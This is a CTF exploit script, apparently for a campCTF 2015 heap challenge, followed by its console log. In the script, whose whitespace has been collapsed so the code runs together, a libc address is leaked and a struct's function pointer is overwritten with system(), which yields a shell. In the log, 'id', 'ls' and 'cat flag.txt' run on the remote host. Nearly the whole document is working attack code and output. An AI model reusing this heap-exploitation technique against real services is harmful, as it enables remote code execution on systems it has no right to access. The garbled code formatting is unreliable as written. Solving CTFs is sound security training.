#!/usr/bin/pythonimportstruct,timefromsocketimport*defq(x):returnstruct.pack("<Q",x)defreadtil(delim):buf=b''whilenotdeliminbuf:buf+=s.recv(1)returnbufdefadd_dkm_without_wifi(comment=""):s.send('2\n')s.send('2\n')s.send('\n')s.send('\n')s.send(comment+'\n')defadd_dkm_with_wifi(comment):s.send('2\n')s.send('1\n')s.send('\n')s.send('\n')s.send('\n')s.send(comment+'\n')defedit_dkm_without_wifi(id,comment):s.send('4\n')s.send(str(id)+'\n')s.send('2\n')s.send('1\n')s.send('1\n')s.send(comment+'\n')#s.send('\n')defedit_dkm_with_wifi(id,ssid):s.send('4\n')s.send(str(id)+'\n')s.send('1\n')s.send('\n')s.send('\n')s.send('\n')#s.send(ssid+'\n')s.send('\n')defdelete_dkm(id):s.send('3\n')s.send(str(id)+'\n')defpwn():globalss=socket(AF_INET,SOCK_STREAM)s.connect(('challs.campctf.ccc.ac',10102))#s.connect(('localhost', 4444))raw_input('dbg')readtil('Exit')add_dkm_with_wifi('')printreadtil('Exit')print'adding second wifi'add_dkm_with_wifi('')printreadtil('Exit')edit_dkm_without_wifi(0,q(0x602040))s.send('1\n')readtil('SSID: ')data=s.recv(6)data+="\x00\x00"strtoull=(struct.unpack('<Q',data)[0])libc=strtoull-0x000000000003b1a0print'libc: %x'%libcsystem=libc+0x443d0print'system: %x'%systemprintreadtil('Exit')print'deleting second wifi'delete_dkm(1)printreadtil('Exit')print'shrinking first wifi'edit_dkm_without_wifi(0,'')# resize itprintreadtil('Exit')print'adding second nowifi'add_dkm_without_wifi()# allocate new struct next to old dkprintreadtil('Exit')# edit first struct (now resized) as large struct, so the comment goes into the next chunk's function pointerss.send('4\n')s.send('0\n')s.send('3\n')s.send('1\n')s.send('1\n')s.send('1\n')s.send('1\n')#payload = "".join(["%04d" % x for x in range(1023/4)])# ugly paddingpayload="AAAA"+"/bin/sh; #"*80+"AAAA"+q(system)s.send(payload+'\n')# execute struct->edit_with_wifi (overwritten with system)s.send('4\n')s.send('1\n')s.send('3\n')# code exec much?importtelnetlibt=telnetlib.Telnet()t.sock=st.interact()s.close()pwn()
ubuntu@ubuntu-VirtualBox:~$ python poc.py
dbg
> Does the DK have wifi?
1) Yes
2) No
> Please enter longitude * 10000:
> Please enter latitude * 10000:
> Please enter the number of ssids, this DK supports.
> Please enter a comment for this DK.
> DK #0 successfully added.Menu:
1) List DK's2) Add a DK3) Remove a DK4) Edit a DK5) Exitadding second wifi> Does the DK have wifi?1) Yes2) No> Please enter longitude * 10000:> Please enter latitude * 10000:> Please enter the number of ssids, this DK supports.> Please enter a comment for this DK.> DK #1 successfully added.Menu:1) List DK's
2) Add a DK
3) Remove a DK
4) Edit a DK
5) Exit
libc: 7f912685f000
system: 7f91268a33d0
Comment:
DK #1 with wifi @ 0.0000/0.0000: Comment:
Menu:
1) List DK's2) Add a DK3) Remove a DK4) Edit a DK5) Exitdeleting second wifi> Enter DK index: > DK #1 successfully deleted.Menu:1) List DK's
2) Add a DK
3) Remove a DK
4) Edit a DK
5) Exit
shrinking first wifi
> Enter DK index:
> Editing DK #0:Does the DK have wifi?
1) Yes
2) No
3) Do not change
> Please enter longitude * 10000:
> Please enter latitude * 10000:
> Please enter a comment for this DK.
> DK #0 successfully saved.Menu:
1) List DK's2) Add a DK3) Remove a DK4) Edit a DK5) Exitadding second nowifi> Does the DK have wifi?1) Yes2) No> Please enter longitude * 10000:> Please enter latitude * 10000:> Please enter a comment for this DK.> DK #1 successfully added.Menu:1) List DK's
2) Add a DK
3) Remove a DK
4) Edit a DK
5) Exit
> Enter DK index:
> Editing DK #0:Does the DK have wifi?
1) Yes
2) No
3) Do not change
> Please enter longitude * 10000:
> Please enter latitude * 10000:
> Please enter the number of ssids, this DK supports.
> Please enter the name of SSID #0.> Please enter a comment for this DK.
> DK #0 successfully saved.Menu:
1) List DK's
2) Add a DK
3) Remove a DK
4) Edit a DK
5) Exit
> Enter DK index:
> Editing DK #1:Does the DK have wifi?
1) Yes
2) No
3) Do not change
> id
uid=1001(challenge)gid=1001(challenge)groups=1001(challenge)cat flag.txt
cat: flag.txt: No such file or directory
ls
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
cd home
ls
challenge
cd cha*
ls
challenge
flag.txt
cat flag.txt
CAMP15_aecbde52de8b1ed16bf62aa772d53a2